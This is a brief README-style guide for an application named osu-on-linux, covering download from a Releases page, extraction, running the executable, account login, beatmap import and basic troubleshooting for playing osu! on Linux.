Welcome to the osu-on-linux guide! This application helps you play osu! on Linux with low latency. Follow these simple steps to get started.
To download the latest version of osu-on-linux, visit the Releases page below.
Click this link to visit the Releases page.
On the Releases page, look for the latest version at the top. You will see a list of assets below the version details. Click on the file labeled “osu-on-linux-linux-x64.zip” to start the download.
Once the download is complete, find the downloaded .zip file in your downloads folder. Right-click the file and select "Extract Here" or "Extract to 'osu-on-linux'" depending on your file manager.
Navigate to the folder where you extracted the files. Look for a file named osu-latency. Double-click this file to open the application. If prompted, confirm that you want to run the file.
After opening the application, you may want to adjust settings for optimal performance. Depending on your hardware, you can change display settings and audio options.
Before you start, ensure your system meets the following requirements:
- Operating System: Linux (Ubuntu or similar)
- Memory: At least 4 GB of RAM
- Processor: Intel i3 or AMD equivalent
- Graphics: Any graphics card that supports OpenGL 2.1
Ensure your Linux environment is up to date to avoid any compatibility issues.
Once the application is open, follow these steps to start playing osu!:
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Link Your Account: If you have an osu! account, log in with your credentials.
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Import Beatmaps: You can add beatmaps by dragging them into the application or by downloading them directly from osu! websites.
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Start Playing: Choose a beatmap from your collection and hit “Play”. Enjoy the low latency and smooth gameplay!
If you encounter issues, check the following solutions:
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Application Won't Start:
- Ensure you have the proper permissions to run the file. Right-click the file, select "Properties", go to the “Permissions” tab, and make sure "Allow executing file as program" is checked.
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Gameplay is Laggy:
- Lower the graphics settings within the application. Reducing visual effects can improve performance significantly.
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No Sound:
- Check your audio settings in the application. Ensure the correct output device is selected.
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Crashes on Startup:
- Make sure your system is updated. Run the latest system updates and restart your computer.
If you need help or want to connect with other users, join our community discussions on forums or chat platforms dedicated to osu!. Engaging with fellow players can provide you with tips and insights.
Stay tuned for updates! We regularly improve the application and fix bugs. Keep checking the Releases page for new versions and enhancements.
For additional information, you can always visit the Releases page for the latest updates and support resources.
Download, play, and enjoy osu! on Linux with low latency today!